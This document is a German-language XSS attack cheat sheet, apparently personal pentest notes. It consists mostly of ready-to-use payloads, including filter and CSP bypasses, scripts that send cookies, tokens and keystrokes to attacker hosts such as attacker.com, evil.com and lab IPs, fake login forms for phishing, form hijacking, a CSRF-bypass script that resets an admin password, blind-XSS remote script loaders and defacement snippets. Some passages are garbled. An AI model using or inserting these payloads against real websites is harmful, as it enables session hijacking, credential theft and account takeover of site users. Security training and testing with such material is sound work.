Cross Site Scripting (XSS)
Mit Cross-site scripting ist es möglich die same origin policy zu umgehen, welche dazu dient unterschiedliche Webseiten zu separieren.
Die Content Security Policy (CSP) ist ein weiterer Sicherheitsmechanismus, welcher cross-site scripting und andere Schwachstellen behindern oder sogar verhindern soll.
Allerdings kann die CSP oft leicht umgangen werden.
Tools
- Dalfox
- The Browser Exploitation Framework = XSSTRIKE gute detektion
Identifizierung von XSS Lücken
Um XSS Payloads zu identifizieren können verschiedene Methoden genutzt werden. Ein Weg ist der Aufruf des Debuggers, dazu müssen aber die Entwicklungswerkzeuge offen sein.
<script>debugger;</script>
document.domain und window.origin zu testen.
Hierfür eignet sich am besten die console.log Methode, da sie bei erfolgreicher Ausführung weniger störend ist als alert. Zudem können diese Methoden auch verkettet werden:
<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>
DOM-basiertes Cross-site scripting
Diese Art des XSS Angriffs tritt auf, wenn eine Webanwendung Daten aus einer nicht vertrauenswürdigen Quelle nicht validiert. Meistens beim zurückschreiben der Daten ins DOM. Das folgende Beispiel veranschaulicht dies, indem aus dem Such Element der Wert genommen wird und wieder auf die Seite geschrieben wird.
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
Exploiting
Es gibt verschiedene Möglichkeiten XSS zu exploiten.
Die einfachste Möglichkeit ist ein Skript nachzuladen, da hier nicht auf die encodierung geachtet werden muss.
Dafür gibt es zwei Möglichkeiten entweder das Skript wird direkt geladen <script src=""></script> oder es wird erstellt: <img src='x' onerror="document.write('<script> src=\"\"></script>')" />
Klassische XSS Payloads
Basic Payload<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="javascript:alert(23)">
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
<><img src=1 onerror=alert(1)>
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
<svg><script>alert('33')
<svg><script>alert('33')
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>
Ausnutzung von wkhtmltopdf:
Steal Cookies
<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>
<script>
fetch('https://attacker.com', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
url: window.location.href,
localStorage: localStorage
})
});
</script>
Session Hijacking
<script>document.location='http://attacker.com?cookie='+document.cookie</script>
<script>fetch("http://evil.com/?"+btoa(document.cookie));</script>
<script>c=localStorage.getItem('access_token');fetch(`http://evil.com/${c}`)</script>
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
#POST
<script>
fetch("http://10.0.0.1/", {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
#POST mit XMLHttpRequest
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = () => {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr_exfil = new XMLHttpRequest();
xhr_exfil.open('POST', "http://evil.com:1234/", false);
xhr_exfil.send(xhr.response);
}
};
xhr.open('POST', "http://victim.com/login.php", false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send("username=admin&password=admin");
Websocket Hijacker:
var ws = new WebSocket('wss://target.com/ws');
ws.onmessage = function(e) {
fetch('https://attacker.com/ws-log?data='+btoa(e.data));
};
Keylogging
<script>
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://attacker.com/keystrokes?key=" + e.key, true);
xhr.send();
};
</script>
#oneliner
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
Phishing
Erstellung einer falschen Login Eingabe:
<script>
document.getElementById('urlform').remove(); # Entfernung von Elementen um nur Login zu haben
document.body.innerHTML += "<h3>Please login to continue</h3><form action=http://10.10.15.239:4242/><input type=username name=username placeholder=Username><input type=password name=password placeholder=Password><input type=submit name=submit valuee=Login></form>"
</script>
Data Grabber
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
<script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>
UI Redressing
Bei dem UI Redressing wird die Webseite umgestaltet. Dabei wird in dem folgenden Code in der ersten Zeile die Adressezeile geändert. Dies hat keinerlei Auswirkungen, soll für den Nutzer nur Vertrauenswürdiger Aussehen. Danach wird in der zweiten Zeile der Code mit dem eigenen überschrieben.
<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>
Form Hijacking
<script>
document.forms[0].action = 'https://attacker.com/logger';
</script>
Enumerieren eines internen Endpunkts
var endpoints = ['access-token','account','accounts','amount','balance','balances','bar','baz','bio','bios','category','channel','chart','circular','company','content','contract','coordinate','credentials','creds','custom','customer','customers','details','dir','directory','dob','email','employee','event','favorite','feed','foo','form','github','gmail','group','history','image','info','item','job','link','links','location','log','login','logins','logs','map','member','members','messages','money','my','name','names','news','option','options','pass','password','passwords','phone','picture','pin','post','prod','production','profile','profiles','publication','record','sale','sales','set','setting','settings','setup','site','test','theme','token','tokens','twitter','union','url','user','username','users','vendor','vendors','version','website','work','yahoo'];
for (i in endpoints){
try {
var xhr = new XMLHttpRequest();
xhr.open('GET', `https://api.internal-apis.htb/v1/${endpoints[i]}`, false);
xhr.send();
if (xhr.status != 404){
var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(endpoints[i]), false);
exfil.send();
}
} catch {
// do nothing
}
}
Umgehen des CSRF Schutzes
// GET CSRF token
var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);
// change PW
var csrf_req = new XMLHttpRequest();
var params = `username=admin&email=admin@vulnerablesite.htb&password=pwned&csrf_token=${csrftoken}`;
csrf_req.open('POST', '/home.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);
Interessante Payloads
<script>onerror=alert;throw 123</script>
<script>{onerror=alert}throw 123</script>
%0D%0A<script>alert(1)</script> #newline
<iframe src="javascript:alert(1)"></iframe>
<iframe onload=alert(1)></iframe>
<img src="jav ascript:alert(1)">
<img dynsrc="javascript:alert(1)">
<img lowsrc="javascript:alert(1)">
<input autofocus onfocus=alert(1)>
<body onload=alert(/XSS/.source)>
Angular
Ist eins der folgenden Elemente im Quellcode der Seite enthalten, handelt es sich um Angular: '''', ''
'' oder ''Dangling Markup
Technik mit der Domänenübergreifend Daten erfasst werden können, wenn ein XSS Angriff Aufgrund von Eingabefiltern oder anderen Schutzmaßnahmen nicht möglich ist. Oft ist es hierdurch möglich sensible Informationen abzugreifen, welche für andere Nutzer sichtbar sind. Darunter fallen auch CSRF-Token.
Blind XSS
<script src=//192.168.56.102></script>
"><script src=//192.168.56.102></script>
"><script src=//192.168.56.102></script><x="
$.getScript("//192.168.56.102") # jQuery
"><img src onerror=import('//192.168.56.102')>
"><img/src/onerror=import('//192.168.56.102')>
"><svg><script href=//192.168.56.102 />
"><svg/onload=import('//192.168.56.102')>
javascript:import('//192.168.56.102') # Link based URI payload
{{_openBlock.constructor('import("//192.168.56.102")')()}} # VueJS v3
{{constructor.constructor('import("//192.168.56.102")')()}} # VueJS v2 Angular JS
<img src=x onerror="fetch('https://your-server.com/log?cookie='+document.cookie)">
<script>navigator.sendBeacon('https://your-server.com/log', JSON.stringify(localStorage))</script>
<svg onload="(new Image).src='https://your-server.com/log?'+document.cookie">
XSS Filter Umgehen
- HTML Enkodieren der Entitäten:
<script>alert('XSS')</script> - URL Encoding:
%3Cscript%3Ealert('XSS')%3C/script%3E - Hex Encoding:
"\x61\x6c\x65\x72\x74\x28\x31\x29" - Octal Encoding:
"\141\154\145\162\164\50\61\51" - Unicode Encoding:
"\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029" - Base64 Encoding:
atob("YWxlcnQoMSk=") - Kontext ausbruch:
"><script>alert('XSS')</script> - Polyglot Payloads, welche in mehreren Kontexten ausführbar sind:
<svg/onload=alert('XSS')> - Nonce ausnutzen zur Umgehung der CSP
- JSONP Ausnutzen zur Umgehung der CSP:
%%<script src="http://vulnerable-website.com/jsonp?callback=alert('XSS')"></script>%%Sollten Anführungszeichen nicht möglich sein kann eine der folgenden Methoden genommen werden:# String.fromCharCode String.fromCharCode(97,108,101,114,116,40,49,41) # .source /alert(1)/.source # Url encodierung decodeURI(/alert(%22xss%22)/.source)
Bei den vorgestellten Methoden handelt es sich lediglich um Strings.
Allerdings wird es vom Browser nur ausgeführt, wenn es eine Ausführungssink gibt, welche als Input einen String entgegennimmt.
Die bekannteste Funktion hierfür ist die eval Funktion.
Auch wenn es andere gibt:
eval("alert(1)")
setTimeout("alert(1)")
setInterval("alert(1)")
Function("alert(1)")()
[].constructor.constructor(alert(1))()
Diese können dann genommen werden um unseren enkodierten String auszuführen:
eval("\141\154\145\162\164\50\61\51")
setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))
Function(atob("YWxlcnQoMSk="))()
Einfacher Tag Bypass
Groß/Kleinschreibung:
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x onerror=alert(1)>
Tags Obfuskieren:
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror=alert(1)>
Filter umgehung
Skript Tag Alternativen:
<object data="data:text/html,<script>alert(1)</script>">
<embed src="data:text/html,<script>alert(1)</script>">
<iframe> src="javascript:alert(1)">
Even Handler Alternativen:
onmouseover=alert(1)
OnMoUsEoVeR=alert(1)
/onclick=alert(1)//
Enkodierungsumgehung
HTML Enkodierung:
<script>alert(1)</script>
URL Enkodierung:
%3Cscript%3Ealert(1)%3C%2Fscript%3E
Unicode Enkodierung:
\u003Cscript\u003Ealert(1)\u003C/script\u003E
Hex Enkodierung:
<script>alert(1)</script>
Kontent Länge umgehen
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<q/oncut=alert(1)>
Zeichen Filter umgehen
<img src=x onerror=alert`1`>
<script>alert(String.fromCharCode(88,83,83))</script>
Klammern vermeiden:
onerror=alert`1````onclick=alert.call1````
```onmouseover=alert.bind1````
Aus dem Kontext entkommen
Javascript Kontext:
'-alert(1)-'
';alert(1)//
\';alert(1)//
Attribut Kontext:
"onmouseover="alert(1)
" autofocus onfocus="alert(1)
Moderne Browser Features ausnutzen
# Import Maps Abuse
<script type="importmap">{"imports": {"x": "data:text/javascript,alert(1)"}}</script>
<script type="module">import 'x'</script>
# Shadow DOM Injection
<div id=x></div>
<script>
x.attachShadow({mode:'open'}).innerHTML='<img src=x onerror=alert(1)>'
</script>
# Trusted Types Bypass
<script>
trustedTypes.createPolicy('p',{createHTML:_=>\'<img src=x onerror=alert(1)>\'}).createHTML('')
</script>
# Service Worker Injection
<script>
navigator.serviceWorker.register('data:text/javascript,alert(1)')
</script>
Komplexe DOM Manipulationstechniken
# MutationObserver Abuse
<script>
new MutationObserver(function(m){
alert(1);
o.disconnect();
}).observe(document.body,{subtree:true,childList:true})
</script>
# Template Element Injection
<template><img src=x onerror=alert(1)></template>
<script>document.body.appendChild(document.querySelector('template').content.cloneNode(true))</script>
# Custom Elements Abuse
<script>
customElements.define('xss-test', class extends HTMLElement {
connectedCallback() { alert(1) }
});
</script>
<xss-test></xss-test>
Event Handler Innovation
# ConstructionEvent Abuse
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:x;}</style>
<xss id=x style="position:fixed;" onanimationcancel="alert(1)"></xss>
# Intersection Observer
<script>
new IntersectionObserver(([e]) => {
if (e.isIntersecting) alert(1)
}).observe(document.body)
</script>
# ResizeObserver Exploit
<script>
new ResizeObserver(() => alert(1)).observe(document.body)
</script>
Protocol Handler Exploitation
# Data URL Abuse
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click</a>
# Javascript Protocol Variants
<a href="javascript:alert(1)">Click</a>
<a href="javascript:alert(1)">Click</a>
<a href="javascript:alert(1)">Click</a>
# Blob URL Exploitation
<script>
URL.createObjectURL(new Blob(['<script>alert(1)</script>'],{type:'text/html'}))
</script>
Modern Framework Bypass Targeting popular JavaScript frameworks:
# Vue Template Injection
{{constructor.constructor('alert(1)')()}}
{{_c.constructor('alert(1)')()}}
# Angular Template Injection
{{$eval.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
# React Props Injection
<div data-react-props="{'dangerouslySetInnerHTML':{'__html':'<img src=x onerror=alert(1)>'}}">
Fortgeschrittene Enkoding Techniken
# Multi-layer Encoding
# Base64 + URL + HTML
<script>alert(1)</script>
# Unicode Escape Sequence
\u0027\u003e\u003c\u0073\u0076\u0067\u0020\u006f\u006e\u006c\u006f\u0061\u0064\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003e
# CSS Escape
<style>@import '\\0061lert(1)';</style>
Regular Expression Bypass
Techniques to bypass regex-based filters:
# Newline Injection
<script>alert`
1`</script>
# Comment Injection
<!--><script>alert/**/('1')</script>
# Non-standard Attributes
<x onclick="alert(1)">click</x>
Context-Aware Bypass
# CSS Context
<style>@import 'data:text/css;base64,KiB7eD11cmwoamF2YXNjcmlwdDphbGVydCgxKSl9';</style>
# SVG Context
<svg><set attributeName="onmouseover" to="alert(1)"/>
<svg><animate attributeName="onmouseover" to="alert(1)"/>
# Math Context
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><path id="</style><img onerror='alert(1)'"></mglyph></mtext></math>
Weitere Bypass Techniken
Mögliche Verwundbare Eingabefelder finden
Dazu müssen die felder gesucht werden. Dazu gehören: <input type="text">, <input type="search"> und <textarea>.
Jedes Feld kann dann mit Erkennungspayloads getestet werden:
"><img src=x onerror=alert(1)> # Testet anführungszeichen escape
'><img src=x onerror=alert(1)> # Testet einfache Anführungszeichen escape
javascript:alert(1) # Testet href Attribut
Verwundbare HTTP Header
Es kommt vor, dass HTTP Header in der Seite reflektiert werden. Die Header User-Agent, Referer und Cookie beispielsweise.
Auch optionale Header wie X-Forwarded-For oder X-Forwarded-Host können reflektiert werden.
HTML Kontext Tests
In HTML Tags:
Original: <div>NUTZER_EINGABE</div>
Test mit: <script>alert(1)</script>
Test mit: <img src=x onerror=alert(1)>
In HTML Attributen:
Original: <input value="NUTZER_EINGABE">
Test mit: "><script>alert(1)</script>
Test mit: " autofocus onfocus="alert(1)
In Skript Tags:
Original: <script>var name = 'NUTZER_EINGABE';</script>
Test mit: ';alert(1);//
Test mit: \';alert(1);//
Javascript Kontext Tests
Test wenn eingabe in javascript code reflektiert wird.
In Javascript Strings:
Original: var user = "NUTZER_EINGABE";
Test mit: ";alert(1);//
Test mit: \";alert(1);//
In Javascript Code:
Original: var id = NUTZER_EINGABE;
Test mit: alert(1)//
Test mit: (alert(1))//
In einer Javascript Funktion:
Original: callback('NUTZER_EINGABE')
Test mit: ');alert(1);//
Test mit: '});alert(1);//
DOM Quellen Test
Test URL Fragmente:
site.com/page#<img src=x onerror=alert(1)>
site.com/page#javascript:alert(1)
Test lokalen/sitzungsspeicher:
> localStorage.setItem('test', '<img src=x onerror=alert(1)>');
> sessionStorage.setItem('test', '<img src=x onerror=alert(1)>');
Test der document.write Quellen:
site.com/page?name=<div onmouseover='alert(1)'>
site.com/page?name=</script><script>alert(1)</script>
site.com/page?param=javascript:alert(1)
site.com/page?param=data:text/html,<script>alert(1)</sript>
Webseit defacement
document.body.style.background = "#141d2b" # Hintergrundfarbe ändern
document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg" # Hintergrund ändern
document.title = 'HackTheBox Academy' # Titel ändern
document.getElementById("todo").innerHTML = "New Text" # Elemente auf Seite ändern
document.getElementsByTagName('body')[0].innerHTML = "New Text" # Ändern der ganzen Seite
XSStrike
Einfacher Scan: xsstrike -u "http://target.com/page?param=value"
Fortgeschrittener Scan:
xsstrike -u "http://target.com/page?param=value" \
--crawl # sucht weitere Seiten
--params # Scan Parameter
--blind # Testet auf Blind XSS
--headers # Zu nutzende Header
--vectors # Nutze angepasste Vektoren
--skip-dom # Überspringt DOM XSS Scans
Cheat Sheet
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
- https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://html5sec.org/
Quellen
~ ~